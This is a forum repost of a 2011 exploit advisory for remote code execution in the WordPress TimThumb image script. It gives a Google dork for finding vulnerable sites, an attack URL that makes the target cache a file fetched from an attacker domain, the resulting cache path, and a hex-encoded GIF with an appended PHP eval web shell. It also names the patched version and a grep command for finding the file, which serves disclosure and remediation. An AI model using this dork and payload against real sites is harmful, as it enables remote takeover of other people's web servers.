Jump to content
LLegoLLaS

WordPress TimThumb Plugin - Remote Code Execution

Recommended Posts

# Google Dork:

inurl:timthumb ext:php -site:googlecode.com -site:google.com

# Date: 3rd August 2011

# Author: MaXe

# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php

# Version: 1.32

# Screenshot: See attachment

# Tested on: Windows XP + Apache + PHP (XAMPP)

WordPress TimThumb (Theme) Plugin - Remote Code Execution

Versions Affected:

1.* - 1.32 (Only version 1.19 and 1.32 were tested.)

(Version 1.33 did not save the cache file as .php)

Info: (See references for original advisory)

TimThumb is an image resizing utility, widely used in many WordPress themes.

Links:


http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/

Credits:

- Mark Maunder (Original Researcher)

- MaXe (Indepedendent Proof of Concept Writer)

-:: The Advisory ::-

TimThumb is prone to a Remote Code Execution vulnerability, due to the

script does not check remotely cached files properly. By crafting a

special image file with a valid MIME-type, and appending a PHP file at

the end of this, it is possible to fool TimThumb into believing that it

is a legitimate image, thus caching it locally in the cache directory.

Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)

[url]http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php[/url]

Stored file on the Target: (This can change from host to host.)

1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);

1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);

md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.

PoC File:


\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

(Transparent GIF + <?php @eval($_GET['cmd']) ?>

-:: Solution ::-

Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue

a command like this in a terminal: (Thanks to rAWjAW for this info.)

find . | grep php | xargs grep -s timthumb

Disclosure Information:

- Vulnerability Disclosed (Mark Maunder): 1st August 2011

- Vulnerability Researched (MaXe): 2nd August 2011

- Disclosed at The Exploit Database: 3rd August 2011

References:

http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif

Sursa

Edited by LLegoLLaS
  • Upvote 2
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...